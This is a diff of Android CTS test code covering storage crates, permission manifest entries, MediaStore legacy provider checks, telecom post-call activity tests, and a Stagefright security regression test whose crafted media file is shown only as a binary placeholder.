+ assertThat(newCollection.size()).isEqualTo(oldCollection.size() - 1);
+ }
+
+ Correspondence<CrateInfo, String> mCorrespondenceByLabel = new Correspondence<>() {
+ @Override
+ public boolean compare(CrateInfo crateInfo, String expect) {
+ return TextUtils.equals(crateInfo.getLabel(), expect);
+ }
+
+ @Override
+ public String toString() {
+ return "It should be the crated folder name";
+ }
+ };
+
+ @Test
+ public void queryCratesForUid_createDeepPath_shouldCreateOneCrate()
+ throws Exception {
+ final Path threeLevelPath = mCrateDirPath.resolve("1").resolve("2").resolve("3");
+ Files.createDirectories(threeLevelPath);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ assertThat(crateInfos).comparingElementsUsing(mCorrespondenceByLabel)
+ .containsExactly(mCrateId);
+ }
+
+ @Test
+ public void queryCratesForUser_createDeepPath_shouldCreateOneCrate()
+ throws Exception {
+ final Path threeLevelPath = mCrateDirPath.resolve("1").resolve("2").resolve("3");
+ Files.createDirectories(threeLevelPath);
+
+ Collection<CrateInfo> crateInfos = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(crateInfos).comparingElementsUsing(mCorrespondenceByLabel)
+ .containsExactly(mCrateId);
+ }
+
+ @Test
+ public void queryCratesForPackage_createDeepPath_shouldCreateOneCrate()
+ throws Exception {
+ final Path threeLevelPath = mCrateDirPath.resolve("1").resolve("2").resolve("3");
+ Files.createDirectories(threeLevelPath);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(crateInfos).comparingElementsUsing(mCorrespondenceByLabel)
+ .containsExactly(mCrateId);
+ }
+}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 97ffab4..92b2fb3 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -302,6 +302,7 @@
<protected-broadcast android:name="android.net.nsd.STATE_CHANGED" />
<protected-broadcast android:name="android.nfc.action.ADAPTER_STATE_CHANGED" />
+ <protected-broadcast android:name="android.nfc.action.PREFERRED_PAYMENT_CHANGED" />
<protected-broadcast android:name="android.nfc.action.TRANSACTION_DETECTED" />
<protected-broadcast android:name="com.android.nfc.action.LLCP_UP" />
<protected-broadcast android:name="com.android.nfc.action.LLCP_DOWN" />
@@ -648,6 +649,11 @@
<!-- ====================================================================== -->
<eat-comment />
+ <!-- @SystemApi Allows accessing the messages on ICC
+ @hide Used internally. -->
+ <permission android:name="android.permission.ACCESS_MESSAGES_ON_ICC"
+ android:protectionLevel="signature|telephony" />
+
<!-- Used for runtime permissions related to contacts and profiles on this
device. -->
<permission-group android:name="android.permission-group.CONTACTS"
@@ -1562,6 +1568,14 @@
<permission android:name="android.permission.NETWORK_SETTINGS"
android:protectionLevel="signature|telephony" />
+ <!-- Allows holder to request bluetooth/wifi scan bypassing global "use location" setting and
+ location permissions.
+ <p>Not for use by third-party or privileged applications.
+ @hide
+ -->
+ <permission android:name="android.permission.RADIO_SCAN_WITHOUT_LOCATION"
+ android:protectionLevel="signature|companion" />
+
<!-- Allows SetupWizard to call methods in Networking services
<p>Not for use by any other third-party or privileged applications.
@SystemApi
@@ -1684,6 +1698,14 @@
<permission android:name="android.permission.NFC_TRANSACTION_EVENT"
android:protectionLevel="normal" />
+ <!-- Allows applications to receive NFC preferred payment service information.
+ <p>Protection level: normal
+ -->
+ <permission android:name="android.permission.NFC_PREFERRED_PAYMENT_INFO"
+ android:description="@string/permdesc_preferredPaymentInfo"
+ android:label="@string/permlab_preferredPaymentInfo"
+ android:protectionLevel="normal" />
+
<!-- @SystemApi Allows an internal user to use privileged ConnectivityManager APIs.
@hide -->
<permission android:name="android.permission.CONNECTIVITY_INTERNAL"
@@ -2136,6 +2158,14 @@
<permission android:name="android.permission.MANAGE_DOCUMENTS"
android:protectionLevel="signature|documenter" />
+ <!-- Allows an application to manage access to crates, usually as part
+ of a crates picker.
+ @hide
+ @TestApi
+ -->
+ <permission android:name="android.permission.MANAGE_CRATES"
+ android:protectionLevel="signature" />
+
<!-- @hide Allows an application to cache content.
<p>Not for use by third-party applications.
-->
@@ -2856,6 +2886,14 @@
<permission android:name="android.permission.BIND_QUICK_SETTINGS_TILE"
android:protectionLevel="signature" />
+ <!-- Allows SystemUI to request third party controls.
+ <p>Should only be requested by the System and required by
+ ControlsService declarations.
+ @hide
+ -->
+ <permission android:name="android.permission.BIND_CONTROLS"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows an application to force a BACK operation on whatever is the
top activity.
<p>Not for use by third-party applications.
@@ -4622,6 +4660,12 @@
<permission android:name="android.permission.PEEK_DROPBOX_DATA"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows an application to access TV tuner HAL
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.ACCESS_TV_TUNER"
+ android:protectionLevel="signature|privileged" />
+
<application android:process="system"
android:persistent="true"
android:hasCode="false"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 142444a..7d6efa7 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -405,6 +405,9 @@
case "telephony": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_TELEPHONY;
} break;
+ case "companion": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_COMPANION;
+ } break;
}
}
return protectionLevel;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
index 01ff267..7b2e562 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -24,11 +24,17 @@
import android.content.ContentResolver;
import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
import android.database.Cursor;
import android.net.Uri;
+import android.os.Build;
import android.os.storage.StorageManager;
import android.os.storage.StorageVolume;
+import android.provider.BaseColumns;
import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
import android.provider.cts.ProviderTestUtils;
import android.provider.cts.R;
import android.util.Log;
@@ -109,12 +115,6 @@
}
@Test
- public void testIncludePending() {
- assertFalse(MediaStore.getIncludePending(mExternalImages));
- assertTrue(MediaStore.getIncludePending(MediaStore.setIncludePending(mExternalImages)));
- }
-
- @Test
public void testRequireOriginal() {
assertFalse(MediaStore.getRequireOriginal(mExternalImages));
assertTrue(MediaStore.getRequireOriginal(MediaStore.setRequireOriginal(mExternalImages)));
@@ -173,4 +173,60 @@
} catch (IllegalArgumentException expected) {
}
}
+
+ @Test
+ public void testRewriteToLegacy() throws Exception {
+ final Uri before = MediaStore.Images.Media
+ .getContentUri(MediaStore.VOLUME_EXTERNAL_PRIMARY);
+ final Uri after = MediaStore.rewriteToLegacy(before);
+
+ assertEquals(MediaStore.AUTHORITY, before.getAuthority());
+ assertEquals(MediaStore.AUTHORITY_LEGACY, after.getAuthority());
+ }
+
+ /**
+ * When upgrading from an older device, we really need our legacy provider
+ * to be present to ensure that we don't lose user data like
+ * {@link BaseColumns#_ID} and {@link MediaColumns#IS_FAVORITE}.
+ */
+ @Test
+ public void testLegacy() throws Exception {
+ final ProviderInfo legacy = getContext().getPackageManager()
+ .resolveContentProvider(MediaStore.AUTHORITY_LEGACY, 0);
+ if (legacy == null) {
+ if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.R) {
+ // If we're a brand new device, we don't require a legacy
+ // provider, since there's nothing to upgrade
+ return;
+ } else {
+ fail("Upgrading devices must have a legacy MediaProvider at "
+ + "MediaStore.AUTHORITY_LEGACY to upgrade user data from");
+ }
+ }
+
+ // Verify that legacy provider is protected
+ assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
+ android.Manifest.permission.WRITE_MEDIA_STORAGE, legacy.readPermission);
+ assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
+ android.Manifest.permission.WRITE_MEDIA_STORAGE, legacy.writePermission);
+
+ // And finally verify that legacy provider is headless
+ final PackageInfo legacyPackage = getContext().getPackageManager().getPackageInfo(
+ legacy.packageName, PackageManager.GET_ACTIVITIES | PackageManager.GET_PROVIDERS
+ | PackageManager.GET_RECEIVERS | PackageManager.GET_SERVICES);
+ assertEmpty("Headless legacy MediaProvider must have no activities",
+ legacyPackage.activities);
+ assertEquals("Headless legacy MediaProvider must have exactly one provider",
+ 1, legacyPackage.providers.length);
+ assertEmpty("Headless legacy MediaProvider must have no receivers",
+ legacyPackage.receivers);
+ assertEmpty("Headless legacy MediaProvider must have no services",
+ legacyPackage.services);
+ }
+
+ private static <T> void assertEmpty(String message, T[] array) {
+ if (array != null && array.length > 0) {
+ fail(message);
+ }
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
deleted file mode 100644
index 0f14365..0000000
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.media;
-
-import static android.provider.cts.ProviderTestUtils.containsId;
-import static android.provider.cts.media.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.Context;
-import android.net.Uri;
-import android.os.Bundle;
-import android.provider.MediaStore;
-import android.provider.cts.ProviderTestUtils;
-import android.provider.cts.R;
-import android.text.format.DateUtils;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@RunWith(Parameterized.class)
-public class MediaStoreTrashedTest {
- private Context mContext;
- private ContentResolver mResolver;
-
- private Uri mExternalImages;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- }
-
- @Test
- public void testSimple() throws Exception {
- // Confirm that we have at least two images staged
- final Uri red = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
- final Uri blue = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
-
- final long redId = ContentUris.parseId(red);
- final long blueId = ContentUris.parseId(blue);
-
- // By default, trashed isn't visible
- MediaStore.trash(mContext, red);
- assertFalse(containsId(mExternalImages, Bundle.EMPTY, redId));
- assertTrue(containsId(mExternalImages, Bundle.EMPTY, blueId));
-
- // But we can force reveal it
- final Bundle extras = new Bundle();
- extras.putInt(MediaStore.QUERY_ARG_MATCH_TRASHED, MediaStore.MATCH_INCLUDE);
- assertTrue(containsId(mExternalImages, extras, redId));
- assertTrue(containsId(mExternalImages, extras, blueId));
-
- // And if we untrash it, it's visible again
- MediaStore.untrash(mContext, red);
- assertTrue(containsId(mExternalImages, Bundle.EMPTY, redId));
- assertTrue(containsId(mExternalImages, Bundle.EMPTY, blueId));
-
- // Trashing with giant timeout also works (it'll probably be clamped)
- MediaStore.trash(mContext, red, DateUtils.YEAR_IN_MILLIS);
- assertFalse(containsId(mExternalImages, Bundle.EMPTY, redId));
- assertTrue(containsId(mExternalImages, Bundle.EMPTY, blueId));
- }
-}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index d82007a..3674e96 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 6c8cb70..30d9d13 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 4d8f5e3..0335b88 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_avc.mp4 b/tests/tests/security/res/raw/bug_33090864_avc.mp4
new file mode 100644
index 0000000..f8e2a27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_framelen.mp4 b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
new file mode 100644
index 0000000..ffaa6ac
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
@@ -0,0 +1,4 @@
+45
+3058
+651
+2281
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index 3866296..15a7081 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -16,6 +16,7 @@
package android.security.cts;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PropertyUtil;
import android.platform.test.annotations.AppModeFull;
@@ -80,6 +81,7 @@
// "getprop", used by PropertyUtil.getProperty(), is not executable
// to instant apps
@AppModeFull
+ @CddTest(requirement="9.9.2/C-0-1,C-0-2,C-0-3")
public void testEncryption() throws Exception {
if ("encrypted".equals(PropertyUtil.getProperty("ro.crypto.state"))) {
handleEncryptedDevice();
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 4981a09..d199ddf 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -815,6 +815,11 @@
to prevent merge conflicts, add N tests below this comment,
before any existing test methods
***********************************************************/
+ @SecurityTest(minPatchLevel = "2017-03")
+ public void testBug_33090864() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.bug_33090864_framelen);
+ doStagefrightTestRawBlob(R.raw.bug_33090864_avc, "video/avc", 320, 240, frameSizes);
+ }
@SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_36279112() throws Exception {
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
index c0b4673..7428130 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
@@ -33,5 +33,12 @@
<action android:name="android.telecom.cts.screeningtestapp.ACTION_CONTROL_CALL_SCREENING_SERVICE" />
</intent-filter>
</service>
+ <activity android:name=".CtsPostCallActivity"
+ android:label="CtsPostCallActivity">
+ <intent-filter>
+ <action android:name="android.telecom.action.POST_CALL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
</application>
</manifest>
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl b/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
index 8da8769..9e7cc2c 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
@@ -26,4 +26,10 @@
boolean shouldSkipCall, boolean shouldSkipCallLog, boolean shouldSkipNotification);
boolean waitForBind();
+
+ boolean waitForActivity();
+
+ String getCachedHandle();
+
+ int getCachedDisconnectCause();
}
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
index 954d9af..96f4173 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
@@ -52,6 +52,7 @@
.setSkipNotification(false)
.build();
mBindingLatch = new CountDownLatch(1);
+ CtsPostCallActivity.resetPostCallActivity();
}
@Override
@@ -78,6 +79,21 @@
return false;
}
}
+
+ @Override
+ public boolean waitForActivity() {
+ return CtsPostCallActivity.waitForActivity();
+ }
+
+ @Override
+ public String getCachedHandle() {
+ return CtsPostCallActivity.getCachedHandle().getSchemeSpecificPart();
+ }
+
+ @Override
+ public int getCachedDisconnectCause() {
+ return CtsPostCallActivity.getCachedDisconnectCause();
+ }
};
private CallScreeningService.CallResponse mCallResponse =
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java
new file mode 100644
index 0000000..ac5ce01
--- /dev/null
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.screeningtestapp;
+
+import static android.telecom.TelecomManager.EXTRA_DISCONNECT_CAUSE;
+import static android.telecom.TelecomManager.EXTRA_HANDLE;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CtsPostCallActivity extends Activity {
+ private static final String ACTION_POST_CALL = "android.telecom.action.POST_CALL";
+ private static final int DEFAULT_DISCONNECT_CAUSE = -1;
+ private static final long TEST_TIMEOUT = 5000;
+
+ private static Uri cachedHandle;
+ private static int cachedDisconnectCause;
+ private static CountDownLatch sLatch = new CountDownLatch(1);
+
+ @Override
+ protected void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+ final Intent intent = getIntent();
+ final String action = intent != null ? intent.getAction() : null;
+ if (ACTION_POST_CALL.equals(action)) {
+ cachedHandle = intent.getParcelableExtra(EXTRA_HANDLE);
+ cachedDisconnectCause = intent
+ .getIntExtra(EXTRA_DISCONNECT_CAUSE, DEFAULT_DISCONNECT_CAUSE);
+ sLatch.countDown();
+ }
+ }
+
+ public static Uri getCachedHandle() {
+ return cachedHandle;
+ }
+
+ public static int getCachedDisconnectCause() {
+ return cachedDisconnectCause;
+ }
+
+ public static void resetPostCallActivity() {
+ sLatch = new CountDownLatch(1);
+ cachedHandle = null;
+ cachedDisconnectCause = DEFAULT_DISCONNECT_CAUSE;
+ }
+
+ public static boolean waitForActivity() {
+ try {
+ return sLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
index 532c69e..76c7c72 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
@@ -273,6 +273,32 @@
assertFalse(mCallScreeningControl.waitForBind());
}
+ public void testNoPostCallActivityWithoutRole() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ removeRoleHolder(ROLE_CALL_SCREENING, CtsCallScreeningService.class.getPackage().getName());
+ addIncomingAndVerifyAllowed(false);
+ assertFalse(mCallScreeningControl.waitForActivity());
+ }
+
+ public void testAllowCall() throws Exception {
+ mCallScreeningControl.setCallResponse(false /* shouldDisallowCall */,
+ false /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, false /* shouldSkipNotification */);
+ addIncomingAndVerifyAllowed(false /* addContact */);
+ assertTrue(mCallScreeningControl.waitForActivity());
+ }
+
+ public void testNoPostCallActivityWhenBlocked() throws Exception {
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(false /* addContact */);
+ assertFalse(mCallScreeningControl.waitForActivity());
+ }
+
private void placeOutgoingCall(boolean addContact) throws Exception {
// Setup content observer to notify us when we call log entry is added.
CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
diff --git a/tests/tests/telecom4/Android.mk b/tests/tests/telecom4/Android.mk
new file mode 100644
index 0000000..2fc8558
--- /dev/null
+++ b/tests/tests/telecom4/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner-axt \
+ compatibility-device-util-axt
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsTelecom4TestCases
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
+LOCAL_JAVA_LIBRARIES += android.test.base.stubs
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom4/AndroidManifest.xml b/tests/tests/telecom4/AndroidManifest.xml
new file mode 100644
index 0000000..a887fdf
--- /dev/null
+++ b/tests/tests/telecom4/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.telecom4.cts">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.telecom4.cts">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telecom4/AndroidTest.xml b/tests/tests/telecom4/AndroidTest.xml
new file mode 100644
index 0000000..ae5ad5b
--- /dev/null
+++ b/tests/tests/telecom4/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<configuration description="Config for CTS Telecom test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsTelecom4TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.telecom4.cts" />
+ <option name="runtime-hint" value="7m30s" />
+ </test>
+</configuration>
diff --git a/tests/tests/telecom4/OWNERS b/tests/tests/telecom4/OWNERS
new file mode 100644
index 0000000..93fe555
--- /dev/null
+++ b/tests/tests/telecom4/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+
diff --git a/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java b/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java
new file mode 100644
index 0000000..0e68c64
--- /dev/null
+++ b/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom4.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build, install and run the tests by running the commands below:
+ * make CtsTelecom4TestCases -j64
+ * cts-tradefed run cts -m CtsTelecom4TestCases --test android.telecom4.cts.InCallServiceImplTest
+ */
+@RunWith(AndroidJUnit4.class)
+public class InCallServiceImplTest {
+ private static final String TAG = "InCallServiceTest";
+ private static final String IN_CALL_SERVICE_ACTION = "android.telecom.InCallService";
+ private static final String IN_CALL_SERVICE_PERMISSION =
+ "android.permission.BIND_INCALL_SERVICE";
+
+ private Context mContext;
+ private PackageManager mPackageManager;
+
+ @Before
+ public void setup() {
+ mContext = InstrumentationRegistry.getContext();
+ mPackageManager = mContext.getPackageManager();
+ }
+
+ @CddTest(requirement = "7.4.1.2/C-1-3")
+ @Test
+ public void resolveInCallIntent() {
+ if (!hasTelephonyFeature()) {
+ Log.d(TAG, "Bypass the test since telephony is not available.");
+ return;
+ }
+
+ Intent intent = new Intent();
+ intent.setAction(IN_CALL_SERVICE_ACTION);
+ ResolveInfo resolveInfo = mPackageManager.resolveService(intent,
+ PackageManager.GET_SERVICES | PackageManager.GET_META_DATA);
+
+ assertNotNull(resolveInfo);
+ assertNotNull(resolveInfo.serviceInfo);
+ assertNotNull(resolveInfo.serviceInfo.packageName);
